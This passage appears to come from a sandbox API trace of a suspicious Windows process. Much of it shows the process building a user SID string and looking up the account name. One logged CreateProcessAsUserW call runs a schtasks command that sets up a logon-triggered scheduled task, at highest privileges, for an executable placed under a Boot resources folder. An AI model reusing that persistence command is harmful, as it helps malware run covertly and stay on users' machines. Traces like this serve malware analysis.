[4]=0x65)) | out: pDestinationSid=0x20abc2a9b50*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0129.292] GetSidIdentifierAuthority (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281122 [0129.292] malloc (_Size=0x18) returned 0x20abc281f00 [0129.292] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0129.292] malloc (_Size=0x18) returned 0x20abc282080 [0129.292] malloc (_Size=0x18) returned 0x20abc281a80 [0129.292] SysStringLen (param_1="S-1-") returned 0x4 [0129.292] SysStringLen (param_1="5") returned 0x1 [0129.292] memcpy (in: _Dst=0x20abba6a868, _Src=0x20abba6ab08, _Size=0xa | out: _Dst=0x20abba6a868) returned 0x20abba6a868 [0129.292] memcpy (in: _Dst=0x20abba6a870, _Src=0x20abba6a688, _Size=0x4 | out: _Dst=0x20abba6a870) returned 0x20abba6a870 [0129.292] free (_Block=0x20abc281f00) [0129.292] free (_Block=0x20abc282080) [0129.292] GetSidSubAuthorityCount (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281121 [0129.292] GetSidSubAuthority (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc281128 [0129.292] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0129.292] malloc (_Size=0x18) returned 0x20abc281de0 [0129.292] malloc (_Size=0x18) returned 0x20abc281c80 [0129.292] SysStringLen (param_1="S-1-5") returned 0x5 [0129.292] SysStringLen (param_1="-") returned 0x1 [0129.292] memcpy (in: _Dst=0x20abba6a688, _Src=0x20abba6a868, _Size=0xc | out: _Dst=0x20abba6a688) returned 0x20abba6a688 [0129.292] memcpy (in: _Dst=0x20abba6a692, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba6a692) returned 0x20abba6a692 [0129.293] free (_Block=0x20abc281a80) [0129.293] free (_Block=0x20abc281de0) [0129.293] malloc (_Size=0x18) returned 0x20abc281b40 [0129.293] malloc (_Size=0x18) returned 0x20abc281e80 [0129.293] SysStringLen (param_1="S-1-5-") returned 0x6 [0129.293] SysStringLen (param_1="21") returned 0x2 [0129.293] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6a688, _Size=0xe | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0129.293] memcpy (in: _Dst=0x20abba6ab14, _Src=0x20abba6a868, _Size=0x6 | out: _Dst=0x20abba6ab14) returned 0x20abba6ab14 [0129.293] free (_Block=0x20abc281c80) [0129.293] free (_Block=0x20abc281b40) [0129.293] GetSidSubAuthority (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc28112c [0129.293] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0129.293] malloc (_Size=0x18) returned 0x20abc281da0 [0129.293] malloc (_Size=0x18) returned 0x20abc281ea0 [0129.293] SysStringLen (param_1="S-1-5-21") returned 0x8 [0129.293] SysStringLen (param_1="-") returned 0x1 [0129.293] memcpy (in: _Dst=0x20abba6a868, _Src=0x20abba6ab08, _Size=0x12 | out: _Dst=0x20abba6a868) returned 0x20abba6a868 [0129.293] memcpy (in: _Dst=0x20abba6a878, _Src=0x20abba6a688, _Size=0x4 | out: _Dst=0x20abba6a878) returned 0x20abba6a878 [0129.293] free (_Block=0x20abc281e80) [0129.293] free (_Block=0x20abc281da0) [0129.293] malloc (_Size=0x18) returned 0x20abc281cc0 [0129.293] malloc (_Size=0x18) returned 0x20abc281ae0 [0129.293] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0129.293] SysStringLen (param_1="1560258661") returned 0xa [0129.294] memcpy (in: _Dst=0x20abba62fa8, _Src=0x20abba6a868, _Size=0x14 | out: _Dst=0x20abba62fa8) returned 0x20abba62fa8 [0129.294] memcpy (in: _Dst=0x20abba62fba, _Src=0x20abba6ab08, _Size=0x16 | out: _Dst=0x20abba62fba) returned 0x20abba62fba [0129.294] free (_Block=0x20abc281ea0) [0129.294] free (_Block=0x20abc281cc0) [0129.294] GetSidSubAuthority (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc281130 [0129.294] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0129.294] malloc (_Size=0x18) returned 0x20abc281bc0 [0129.294] malloc (_Size=0x18) returned 0x20abc281b00 [0129.294] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0129.294] SysStringLen (param_1="-") returned 0x1 [0129.294] memcpy (in: _Dst=0x20abba63098, _Src=0x20abba62fa8, _Size=0x28 | out: _Dst=0x20abba63098) returned 0x20abba63098 [0129.294] memcpy (in: _Dst=0x20abba630be, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba630be) returned 0x20abba630be [0129.294] free (_Block=0x20abc281ae0) [0129.294] free (_Block=0x20abc281bc0) [0129.294] malloc (_Size=0x18) returned 0x20abc281ce0 [0129.294] malloc (_Size=0x18) returned 0x20abc281e20 [0129.294] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0129.294] SysStringLen (param_1="3990802383") returned 0xa [0129.294] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba63098, _Size=0x2a | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0129.294] memcpy (in: _Dst=0x20abba7a260, _Src=0x20abba6a868, _Size=0x16 | out: _Dst=0x20abba7a260) returned 0x20abba7a260 [0129.294] free (_Block=0x20abc281b00) [0129.294] free (_Block=0x20abc281ce0) [0129.294] GetSidSubAuthority (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc281134 [0129.295] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0129.295] malloc (_Size=0x18) returned 0x20abc281fa0 [0129.295] malloc (_Size=0x18) returned 0x20abc281da0 [0129.295] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0129.295] SysStringLen (param_1="-") returned 0x1 [0129.295] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x3e | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0129.295] memcpy (in: _Dst=0x20abba7b7b4, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba7b7b4) returned 0x20abba7b7b4 [0129.295] free (_Block=0x20abc281e20) [0129.295] free (_Block=0x20abc281fa0) [0129.295] malloc (_Size=0x18) returned 0x20abc281b80 [0129.295] malloc (_Size=0x18) returned 0x20abc282020 [0129.295] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0129.295] SysStringLen (param_1="1811730007") returned 0xa [0129.295] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x40 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0129.295] memcpy (in: _Dst=0x20abba7a276, _Src=0x20abba6a868, _Size=0x16 | out: _Dst=0x20abba7a276) returned 0x20abba7a276 [0129.295] free (_Block=0x20abc281da0) [0129.295] free (_Block=0x20abc281b80) [0129.295] GetSidSubAuthority (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc281138 [0129.295] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0129.295] malloc (_Size=0x18) returned 0x20abc281d40 [0129.295] malloc (_Size=0x18) returned 0x20abc281c60 [0129.295] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0129.295] SysStringLen (param_1="-") returned 0x1 [0129.296] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x54 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0129.296] memcpy (in: _Dst=0x20abba7b7ca, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba7b7ca) returned 0x20abba7b7ca [0129.296] free (_Block=0x20abc282020) [0129.296] free (_Block=0x20abc281d40) [0129.296] malloc (_Size=0x18) returned 0x20abc281b40 [0129.296] malloc (_Size=0x18) returned 0x20abc281c00 [0129.296] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0129.296] SysStringLen (param_1="1000") returned 0x4 [0129.296] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x56 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0129.296] memcpy (in: _Dst=0x20abba7a28c, _Src=0x20abba6a868, _Size=0xa | out: _Dst=0x20abba7a28c) returned 0x20abba7a28c [0129.296] free (_Block=0x20abc281c60) [0129.296] free (_Block=0x20abc281b40) [0129.296] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0129.296] malloc (_Size=0x5e) returned 0x20abc280840 [0129.296] free (_Block=0x20abc281c00) [0129.296] malloc (_Size=0x18) returned 0x20abc281c60 [0129.297] free (_Block=0x20abc280840) [0129.297] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 0 [0129.325] GetLastError () returned 0x7a [0129.325] malloc (_Size=0x1a) returned 0x20abc2a9df0 [0129.325] malloc (_Size=0xe) returned 0x20abc281a00 [0129.325] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9df0, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281a00, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 1 [0129.326] malloc (_Size=0x18) returned 0x20abc281d40 [0129.326] malloc (_Size=0x18) returned 0x20abc281c80 [0129.326] free (_Block=0x20abc2a9df0) [0129.326] free (_Block=0x20abc281a00) [0129.326] free (_Block=0x20abc2a9b50) [0129.326] free (_Block=0x20abc281c80) [0129.326] free (_Block=0x20abc281d40) [0129.326] free (_Block=0x20abc281c60) [0129.327] free (_Block=0x20abc281110) [0129.328] SetEvent (hEvent=0x248) returned 1 [0129.328] free (_Block=0x20abc286220) [0129.328] CreateEnvironmentBlock () returned 0x1 [0129.333] malloc (_Size=0x18) returned 0x20abc281e80 [0129.334] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x20abba86130, lpCurrentDirectory=0x0, lpStartupInfo=0x2dc237c5d0*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2dc237c478 | out: lpCommandLine="schtasks.exe /create /tn \"absolutetelnet\" /sc ONLOGON /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /rl HIGHEST /f", lpProcessInformation=0x2dc237c478*(hProcess=0x260, hThread=0x264, dwProcessId=0x980, dwThreadId=0x1354)) returned 1 [0129.607] CloseHandle (hObject=0x260) returned 1 [0129.607] CloseHandle (hObject=0x264) returned 1 [0129.608] free (_Block=0x20abc281e80) [0129.608] DestroyEnvironmentBlock () returned 0x1 [0129.608] malloc (_Size=0x48) returned 0x20abc285410 [0129.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc237c450 | out: lpSystemTimeAsFileTime=0x2dc237c450*(dwLowDateTime=0x904686f, dwHighDateTime=0x1d9eb0c)) [0129.608] SetEvent (hEvent=0x248) returned 1 [0129.609] CloseHandle (hObject=0x270) returned 1 [0129.609] CloseHandle (hObject=0x26c) returned 1 [0129.615] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abba48260 [0129.615] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba48260, pulNumLanguages=0x2dc237dd50 | out: pulNumLanguages=0x2dc237dd50) returned 1 [0129.615] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0129.615] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48270) returned 1 [0130.660] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0130.660] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0130.660] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48260 [0130.660] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0130.660] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0130.660] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48270 [0130.661] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0130.661] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba666c0 [0130.661] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba666c0, pulNumLanguages=0x2dc237dc88 | out: pulNumLanguages=0x2dc237dc88) returned 1 [0130.661] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba666c0) returned 1 [0130.726] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0130.728] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0130.728] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0130.728] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0130.728] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0130.731] GetCurrentThread () returned 0xfffffffffffffffe [0130.731] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x2dc237c510 | out: TokenHandle=0x2dc237c510*=0x26c) returned 1 [0130.731] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x20a00000001, phNewToken=0x2dc237c528 | out: phNewToken=0x2dc237c528*=0x270) returned 1 [0130.731] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0130.731] GetLastError () returned 0x7a [0130.731] malloc (_Size=0x2c) returned 0x20abc281590 [0130.731] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x20abc281590, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc281590, ReturnLength=0x2dc237c4b0) returned 1 [0130.731] IsValidSid (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0130.731] GetLengthSid (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0130.731] malloc (_Size=0x1c) returned 0x20abc2a9f40 [0130.731] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9f40, pSourceSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9f40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0130.731] GetSidIdentifierAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2815a2 [0130.732] malloc (_Size=0x18) returned 0x20abc2819a0 [0130.732] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0130.732] malloc (_Size=0x18) returned 0x20abc281e60 [0130.732] malloc (_Size=0x18) returned 0x20abc281a40 [0130.732] SysStringLen (param_1="S-1-") returned 0x4 [0130.732] SysStringLen (param_1="5") returned 0x1 [0130.732] memcpy (in: _Dst=0x20abba6ac88, _Src=0x20abba88298, _Size=0xa | out: _Dst=0x20abba6ac88) returned 0x20abba6ac88 [0130.732] memcpy (in: _Dst=0x20abba6ac90, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba6ac90) returned 0x20abba6ac90 [0130.732] free (_Block=0x20abc2819a0) [0130.732] free (_Block=0x20abc281e60) [0130.732] GetSidSubAuthorityCount (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2815a1 [0130.732] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc2815a8 [0130.732] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0130.733] malloc (_Size=0x18) returned 0x20abc281b40 [0130.733] malloc (_Size=0x18) returned 0x20abc281ae0 [0130.733] SysStringLen (param_1="S-1-5") returned 0x5 [0130.733] SysStringLen (param_1="-") returned 0x1 [0130.733] memcpy (in: _Dst=0x20abba88118, _Src=0x20abba6ac88, _Size=0xc | out: _Dst=0x20abba88118) returned 0x20abba88118 [0130.733] memcpy (in: _Dst=0x20abba88122, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba88122) returned 0x20abba88122 [0130.733] free (_Block=0x20abc281a40) [0130.733] free (_Block=0x20abc281b40) [0130.733] malloc (_Size=0x18) returned 0x20abc281960 [0130.733] malloc (_Size=0x18) returned 0x20abc281f00 [0130.733] SysStringLen (param_1="S-1-5-") returned 0x6 [0130.733] SysStringLen (param_1="21") returned 0x2 [0130.733] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba88118, _Size=0xe | out: _Dst=0x20abba88298) returned 0x20abba88298 [0130.733] memcpy (in: _Dst=0x20abba882a4, _Src=0x20abba6ac88, _Size=0x6 | out: _Dst=0x20abba882a4) returned 0x20abba882a4 [0130.733] free (_Block=0x20abc281ae0) [0130.734] free (_Block=0x20abc281960) [0130.734] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc2815ac [0130.734] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0130.734] malloc (_Size=0x18) returned 0x20abc281ba0 [0130.734] malloc (_Size=0x18) returned 0x20abc281cc0 [0130.734] SysStringLen (param_1="S-1-5-21") returned 0x8 [0130.734] SysStringLen (param_1="-") returned 0x1 [0130.734] memcpy (in: _Dst=0x20abba6ac88, _Src=0x20abba88298, _Size=0x12 | out: _Dst=0x20abba6ac88) returned 0x20abba6ac88 [0130.734] memcpy (in: _Dst=0x20abba6ac98, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba6ac98) returned 0x20abba6ac98 [0130.734] free (_Block=0x20abc281f00) [0130.734] free (_Block=0x20abc281ba0) [0130.734] malloc (_Size=0x18) returned 0x20abc281fa0 [0130.734] malloc (_Size=0x18) returned 0x20abc281be0 [0130.734] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0130.734] SysStringLen (param_1="1560258661") returned 0xa [0130.734] memcpy (in: _Dst=0x20abba63818, _Src=0x20abba6ac88, _Size=0x14 | out: _Dst=0x20abba63818) returned 0x20abba63818 [0130.734] memcpy (in: _Dst=0x20abba6382a, _Src=0x20abba88298, _Size=0x16 | out: _Dst=0x20abba6382a) returned 0x20abba6382a [0130.735] free (_Block=0x20abc281cc0) [0130.735] free (_Block=0x20abc281fa0) [0130.735] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc2815b0 [0130.735] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0130.735] malloc (_Size=0x18) returned 0x20abc281ae0 [0130.735] malloc (_Size=0x18) returned 0x20abc281fa0 [0130.735] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0130.735] SysStringLen (param_1="-") returned 0x1 [0130.735] memcpy (in: _Dst=0x20abba63548, _Src=0x20abba63818, _Size=0x28 | out: _Dst=0x20abba63548) returned 0x20abba63548 [0130.735] memcpy (in: _Dst=0x20abba6356e, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba6356e) returned 0x20abba6356e [0130.735] free (_Block=0x20abc281be0) [0130.735] free (_Block=0x20abc281ae0) [0130.735] malloc (_Size=0x18) returned 0x20abc281fc0 [0130.735] malloc (_Size=0x18) returned 0x20abc282000 [0130.735] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0130.736] SysStringLen (param_1="3990802383") returned 0xa [0130.736] memcpy (in: _Dst=0x20abba6cf18, _Src=0x20abba63548, _Size=0x2a | out: _Dst=0x20abba6cf18) returned 0x20abba6cf18 [0130.736] memcpy (in: _Dst=0x20abba6cf40, _Src=0x20abba6ac88, _Size=0x16 | out: _Dst=0x20abba6cf40) returned 0x20abba6cf40 [0130.736] free (_Block=0x20abc281fa0) [0130.736] free (_Block=0x20abc281fc0) [0130.736] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc2815b4 [0130.736] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0130.736] malloc (_Size=0x18) returned 0x20abc282020 [0130.736] malloc (_Size=0x18) returned 0x20abc281aa0 [0130.736] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0130.736] SysStringLen (param_1="-") returned 0x1 [0130.736] memcpy (in: _Dst=0x20abba6d558, _Src=0x20abba6cf18, _Size=0x3e | out: _Dst=0x20abba6d558) returned 0x20abba6d558 [0130.736] memcpy (in: _Dst=0x20abba6d594, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba6d594) returned 0x20abba6d594 [0130.736] free (_Block=0x20abc282000) [0130.736] free (_Block=0x20abc282020) [0130.737] malloc (_Size=0x18) returned 0x20abc2820a0 [0130.737] malloc (_Size=0x18) returned 0x20abc281a80 [0130.737] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0130.737] SysStringLen (param_1="1811730007") returned 0xa [0130.737] memcpy (in: _Dst=0x20abba6cf18, _Src=0x20abba6d558, _Size=0x40 | out: _Dst=0x20abba6cf18) returned 0x20abba6cf18 [0130.737] memcpy (in: _Dst=0x20abba6cf56, _Src=0x20abba6ac88, _Size=0x16 | out: _Dst=0x20abba6cf56) returned 0x20abba6cf56 [0130.737] free (_Block=0x20abc281aa0) [0130.737] free (_Block=0x20abc2820a0) [0130.737] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc2815b8 [0130.737] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0130.737] malloc (_Size=0x18) returned 0x20abc281c20 [0130.737] malloc (_Size=0x18) returned 0x20abc281be0 [0130.737] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0130.737] SysStringLen (param_1="-") returned 0x1 [0130.738] memcpy (in: _Dst=0x20abba6d558, _Src=0x20abba6cf18, _Size=0x54 | out: _Dst=0x20abba6d558) returned 0x20abba6d558 [0130.738] memcpy (in: _Dst=0x20abba6d5aa, _Src=0x20abba6ac88, _Size=0x4 | out: _Dst=0x20abba6d5aa) returned 0x20abba6d5aa [0130.738] free (_Block=0x20abc281a80) [0130.738] free (_Block=0x20abc281c20) [0130.738] malloc (_Size=0x18) returned 0x20abc281c40 [0130.738] malloc (_Size=0x18) returned 0x20abc281cc0 [0130.738] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0130.738] SysStringLen 